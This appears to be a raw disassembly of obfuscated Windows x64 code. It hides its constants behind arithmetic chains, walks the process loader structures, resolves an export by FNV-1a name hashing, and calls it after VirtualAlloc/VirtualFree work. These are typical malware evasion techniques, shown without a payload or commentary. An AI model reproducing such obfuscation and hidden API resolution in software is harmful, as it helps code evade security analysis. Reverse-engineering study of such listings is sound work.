add eax, 0xa88b2bb7
xor eax, 0xfd009a9a
rol eax, 0xa
popf
jmp 0x1400550cb
test eax, eax
jne 0x140059d4f
push rax
pushf
mov eax, 0x8b813b61
pushf
not eax
add eax, 0x9bbce32d
xor eax, 0xc30408e5
rol eax, 0xee
popf
pushf
not eax
add eax, 0x967b5647
xor eax, 0xe27856da
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x9213b847
xor eax, 0xb90c0afe
rol eax, 0xd
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x4f1019ed
pushf
not eax
add eax, 0x8eca6fb3
xor eax, 0xf697225a
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xa7e64b8e
xor eax, 0x9cbb8bbd
rol eax, 0x41
popf
pushf
not eax
add eax, 0xece33a2d
xor eax, 0xe61bfb73
rol eax, 0x88
popf
pushf
not eax
add eax, 0x9ae8206e
xor eax, 0xe990d620
rol eax, 0xea
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x10]
mov r9d, 0x676a9b81
pushf
not r9d
add r9d, 0x984f1b01
xor r9d, 0xa99610f0
rol r9d, 0xe7
popf
pushf
not r9d
add r9d, 0xc39b9234
xor r9d, 0xb16bf114
rol r9d, 0x1f
popf
pushf
not r9d
add r9d, 0xbba6e184
xor r9d, 0xd622c3ca
rol r9d, 0xc7
popf
mov r8d, 0x90f6aae9
pushf
not r8d
add r8d, 0xb1f6a9a1
xor r8d, 0xdb75801d
rol r8d, 4
popf
pushf
not r8d
add r8d, 0x89aa50e3
xor r8d, 0xd1020633
rol r8d, 0x9f
popf
mov edx, eax
xor ecx, ecx
jmp 0x140059e3e
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0xb28e957c
pushf
not r8d
add r8d, 0xda95207a
xor r8d, 0x9df61d39
rol r8d, 0x43
popf
pushf
not r8d
add r8d, 0x96d44aa2
xor r8d, 0xf0570526
rol r8d, 0x54
popf
pushf
not r8d
add r8d, 0xc79193b8
xor r8d, 0xd02e8de2
rol r8d, 0x8c
popf
pushf
not r8d
add r8d, 0x8c211516
xor r8d, 0xa12416f8
rol r8d, 0x55
popf
mov edx, eax
call fcn.140161c88
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, eax
mov rdx, qword [rsp + 0x288]
call fcn.1400815da
mov r8d, 0x3dfc2f0a
pushf
not r8d
add r8d, 0x8ee78094
xor r8d, 0xe482e24d
rol r8d, 0x1f
popf
pushf
not r8d
add r8d, 0xff8736e5
xor r8d, 0xa5525d06
rol r8d, 0xcd
popf
xor edx, edx
mov rcx, qword [rsp + 0x288]
jmp 0x140059f58
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rsp + 0x1c0], 0x3e8
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x220], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x3c8], rax
mov rax, qword [rsp + 0x3c8]
mov qword [rsp + 0x218], rax
push rax
pushf
mov eax, 0x9ff8b42c
pushf
not eax
add eax, 0x81dcdd00
xor eax, 0x87cec676
rol eax, 0x43
popf
pushf
not eax
add eax, 0xfdf41c5b
xor eax, 0xcc9ca74c
rol eax, 0x20
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x218]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x100]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x100]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x3d0], rax
mov eax, 0x3b0ea521
pushf
not eax
add eax, 0xf52b8ee7
xor eax, 0xed324468
rol eax, 8
popf
pushf
not eax
add eax, 0xc2e676be
xor eax, 0xe47ce5e2
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xff861335
xor eax, 0xdc6fd0fc
rol eax, 0x4b
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x3d0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x290], rax
mov eax, dword [rsp + 0x290]
mov rcx, qword [rsp + 0x100]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x118], rax
mov eax, dword [rsp + 0x294]
mov dword [rsp + 0x120], eax
mov rax, qword [rsp + 0x110]
cmp qword [rsp + 0x118], rax
je 0x14005a13d
push rax
pushf
mov eax, 0x2eb82860
pushf
not eax
add eax, 0xc455f8a6
xor eax, 0xe5a33d4b
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xb00acfa0
xor eax, 0xfa6ef097
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x9038b2b1
xor eax, 0xefb2994b
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xaebfa3df
xor eax, 0xa2977c51
rol eax, 0x86
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x91fb24d4
pushf
not eax
add eax, 0xea7ebf29
xor eax, 0xdc713b0c
rol eax, 0x50
popf
pushf
not eax
add eax, 0x8ddf9571
xor eax, 0xc9679d82
rol eax, 0xc
popf
pushf
not eax
add eax, 0xa0cb77fa
xor eax, 0xc1dcf8b6
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xef2a0399
xor eax, 0xa1fcacf5
rol eax, 0xbe
popf
jmp 0x1400550cb
mov dword [rsp + 0xb8], 1
jmp 0x14005a22a
mov dword [rsp + 0xb8], 0
push rax
pushf
mov eax, 0xdcf9ebcc
pushf
not eax
add eax, 0x9713ff42
xor eax, 0xf249aebf
rol eax, 0xca
popf
pushf
not eax
add eax, 0xb42f8769
xor eax, 0xe2f30686
rol eax, 0x21
popf
pushf
not eax
add eax, 0xaba0b468
xor eax, 0xfc0a02e2
rol eax, 0x44
popf
jmp 0x1400550cb
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x3d], al
movzx eax, byte [rsp + 0x3d]
test eax, eax
je 0x14005a29c
push rax
pushf
mov eax, 0xa6523db6
pushf
not eax
add eax, 0xc11e6c3f
xor eax, 0x8e644a13
rol eax, 0xca
popf
pushf
not eax
add eax, 0x8255547b
xor eax, 0xaa29d437
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xed8742e1
xor eax, 0x8fab105a
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xed7bbfb9
xor eax, 0xe3304a63
rol eax, 0x4c
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x68c7953f
pushf
not eax
add eax, 0xbbc11c70
xor eax, 0x9e7c5b16
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xafd58e6f
xor eax, 0x8d92a05a
rol eax, 0x66
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x118]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x1b4], eax
mov eax, dword [rsp + 0x58]
jmp 0x14005a2ee
dec eax
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x1b4], 0
je 0x14005a335
push rax
pushf
mov eax, 0xe928cd23
pushf
not eax
add eax, 0xab283ea8
xor eax, 0xa2c45cce
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xb1ca6456
xor eax, 0xdc8430a3
rol eax, 0xee
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x3f27b989
pushf
not eax
add eax, 0xf01dc39d
xor eax, 0xa29c6918
rol eax, 0x67
popf
pushf
not eax
add eax, 0xee03725c
xor eax, 0xb8d1e2f2
rol eax, 0xfb
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x400]
mov dword [rsp + 0xbc], eax
movabs rax, 0x7d049c616f0ab9dd
pushf
not rax
add rax, 0x42d48f3a
xor rax, 0x4a9db7cc
rol rax, 0x98
popf
pushf
not rax
add rax, 0x68806c96
xor rax, 0x5663f530
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x60e7aa72
xor rax, 0x6ec888d3
rol rax, 0xd
popf
pushf
not rax
add rax, 0x5b715ecc
xor rax, 0x78b962b1
rol rax, 0x74
popf
shr rax, 0x20
mov dword [rsp + 0xbc], eax
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x118]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x110]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x58]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x110]
mov qword [rsp + 0x298], rax
movabs rax, 0x94a7d93740b801b
pushf
not rax
add rax, 0x4b2394fa
xor rax, 0x593be0d1
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x7fba0539
xor rax, 0x761faf08
rol rax, 0x2e
popf
mov ecx, 0x6b494fa8
pushf
not ecx
add ecx, 0xe2c86b53
xor ecx, 0xce6d1841
rol ecx, 0xe9
popf
pushf
not ecx
add ecx, 0x83e06549
xor ecx, 0xa0277229
rol ecx, 0x6c
popf
and rax, rcx
mov dword [rsp + 0x1b8], eax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x210], rax
mov eax, dword [rsp + 0xbc]
mov dword [rsp + 0x94], eax
mov rax, qword [rsp + 0x210]
movzx eax, byte [rax]
mov byte [rsp + 0x3e], al
mov rax, qword [rsp + 0x210]
inc rax
mov qword [rsp + 0x210], rax
movzx eax, byte [rsp + 0x3e]
mov byte [rsp + 0x33], al
movsx eax, byte [rsp + 0x33]
test eax, eax
jne 0x14005a54b
push rax
pushf
mov eax, 0x9752c6fc
pushf
not eax
add eax, 0xdc80d88c
xor eax, 0x8d7db22d
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x9afe217f
xor eax, 0xce190482
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x86a58510
xor eax, 0xc32fe56e
rol eax, 1
popf
pushf
not eax
add eax, 0x9d16f93e
xor eax, 0x865a2808
rol eax, 0xe0
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x560b547b
pushf
not eax
add eax, 0xffab35c7
xor eax, 0xe56b8589
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xa02396dd
xor eax, 0xdc53df5d
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xae9c9f5d
xor eax, 0xba3d2d44
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xc780352e
xor eax, 0xc007bc75
rol eax, 0xd4
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x1bc], eax
jmp 0x14005a782
xor eax, eax
test eax, eax
je 0x14005a636
push rax
pushf
mov eax, 0x177b7532
pushf
not eax
add eax, 0xc0fdbbca
xor eax, 0xd6c1dd3c
rol eax, 0x28
popf
pushf
not eax
add eax, 0xdb272448
xor eax, 0x8efe9735
rol eax, 0x96
popf
pushf
not eax
add eax, 0xc7c5dec1
xor eax, 0xcb278145
rol eax, 0xd
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x6593a6d3
pushf
not eax
add eax, 0xddd91443
xor eax, 0xdb67a681
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x8b5c7e54
xor eax, 0x8980b52c
rol eax, 0x20
popf
pushf
not eax
add eax, 0x8916a9c0
xor eax, 0xff6a3414
rol eax, 0x3c
popf
jmp 0x1400550cb
movsx eax, byte [rsp + 0x33]
or eax, 0x20
mov dword [rsp + 0xc0], eax
jmp 0x14005a715
movsx eax, byte [rsp + 0x33]
mov dword [rsp + 0xc0], eax
push rax
pushf
mov eax, 0x238a4723
pushf
not eax
add eax, 0x9f1e5b5c
xor eax, 0xb6e5954e
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xbe65cc65
xor eax, 0xb280bc6a
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xf1d8e263
xor eax, 0xf136332f
rol eax, 0x83
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0x94]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x94], eax
jmp 0x14005a4bf
mov eax, dword [rsp + 0x1b8]
cmp dword [rsp + 0x1bc], eax
jne 0x14005a7eb
push rax
pushf
mov eax, 0x734d6f1e
pushf
not eax
add eax, 0xc6f8ea4a
xor eax, 0xe494ea4f
rol eax, 0x13
popf
pushf
not eax
add eax, 0xa358777f
xor eax, 0xf8f28eff
rol eax, 0x56
popf
pushf
not eax
add eax, 0x888ffdce
xor eax, 0xe0f133bd
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xe3c137a6
xor eax, 0xbecdb9db
rol eax, 0x1e
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0x3be0ac9c
pushf
not eax
add eax, 0xa8d499c8
xor eax, 0xb355dcc3
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xf2259320
xor eax, 0xa5b1c160
rol eax, 0x30
popf
jmp 0x1400550cb
mov rax, qword [rsp + 0x118]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x110]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x118]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x110]
mov qword [rsp + 0x3d8], rax
mov eax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x3d8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x3e0]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x110]
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x220], rax
jmp 0x14005aa5b
jmp 0x14005a2de
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
mov rax, qword [rax]
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x218], rax
mov byte [rsp + 0x3f], 1
movzx eax, byte [rsp + 0x3f]
test eax, eax
jne 0x14005a9d6
push rax
pushf
mov eax, 0xf254c298
pushf
not eax
add eax, 0x818f935c
xor eax, 0xffbd8c7f
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xadf401c4
xor eax, 0xd6e8dab1
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xb858f256
xor eax, 0x8922f857
rol eax, 0xf0
popf
jmp 0x1400550cb
push rax
pushf
mov eax, 0xd15ecbaa
pushf
not eax
add eax, 0xb2bafb4d
xor eax, 0xebb3c0c2
rol eax, 0x17
popf
pushf
not eax
add eax, 0x8a4b1d1e
xor eax, 0xdc75a526
rol eax, 0x2c
popf
jmp 0x1400550cb
mov qword [rsp + 0x220], 0
push rax
pushf
mov eax, 0x668de0bf
pushf
not eax
add eax, 0x8b3cad50
xor eax, 0xcfc0a095
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xdd602c38
xor eax, 0xf2bc3d8a
rol eax, 0x36
popf
pushf
not eax
add eax, 0xdb62f24f
xor eax, 0xc579802e
rol eax, 0xab
popf
jmp 0x1400550cb
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0x1c4], eax
mov ecx, dword [rsp + 0x1c4]
jmp 0x14005aa71
call qword [rsp + 0x220]
push rax
pushf
mov eax, 0x77a2a5d9
pushf
not eax
add eax, 0xa0861765
xor eax, 0xcbed3f6b
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x8eeffe81
xor eax, 0xe46a1e4f
rol eax, 0x90
popf
pushf
not eax
add eax, 0xbf861685
xor eax, 0xe33b277b
rol eax, 0x8c
popf
jmp 0x1400550cb
jmp 0x14005967d
mov al, 0x85
pushf
not al
add al, 0xf7
xor al, 0x25
rol al, 0x39
popf
pushf
not al
add al, 0x83
xor al, 0xd5
rol al, 0xe6
popf
pushf
not al
add al, 0x7c
xor al, 0xa2
rol al, 0x1c
popf
pushf
not al
add al, 0x4c
xor al, 0xba
rol al, 0xb4
popf
add rsp, 0x508
pop rdi
pop rsi
ret